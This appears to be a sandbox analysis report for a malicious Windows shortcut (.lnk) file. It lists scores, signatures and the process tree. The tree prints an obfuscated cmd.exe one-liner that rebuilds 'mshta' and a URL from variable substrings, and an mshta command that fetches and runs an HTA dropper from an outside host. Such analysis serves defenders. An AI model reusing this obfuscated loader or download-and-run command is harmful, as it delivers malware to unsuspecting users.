Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-Z7RDFU.lnk
  • Size 2KB
  • Sample260804-j9gm3sar21
  • SHA256 1f1906b7880c24fd1368242c821d4f855211bf21a178ccf14cc1543d1b436f27
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Z7RDFU.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set qiud=netorpybntqmvzklysknet&&set NeG=infmfsaoqwnhteahdksgxinf&&set OcPVm=dbgbevxaeawwwjswlrkkdbg&&set Pun=oldgcaapdvbwmynplsmcwexaold&&set Onx=logpdvnmcbipnisdglwlog&&set bWOQa=cachevdphcache&&set ZkrNf=komstbe&&set vJpuA=sht09&&set lNyk=7jgai&&set Ho=netzfejtanet&&set zanm=hstldf&&set JkDV=t6ac&&set PDO=jrrtxb0&&set iMo=bakkpxsyqzrphbak&&set ITeqa=https://ma-@pdf@f@ille@r@.@lat/@h/es@t@a@g@[email protected]?@r@=3914@6@9FB5D82@DB&&start /b !ZkrNf:~2,2!!vJpuA:~1,2!!lNyk:~3,1! !ITeqa:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4616

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads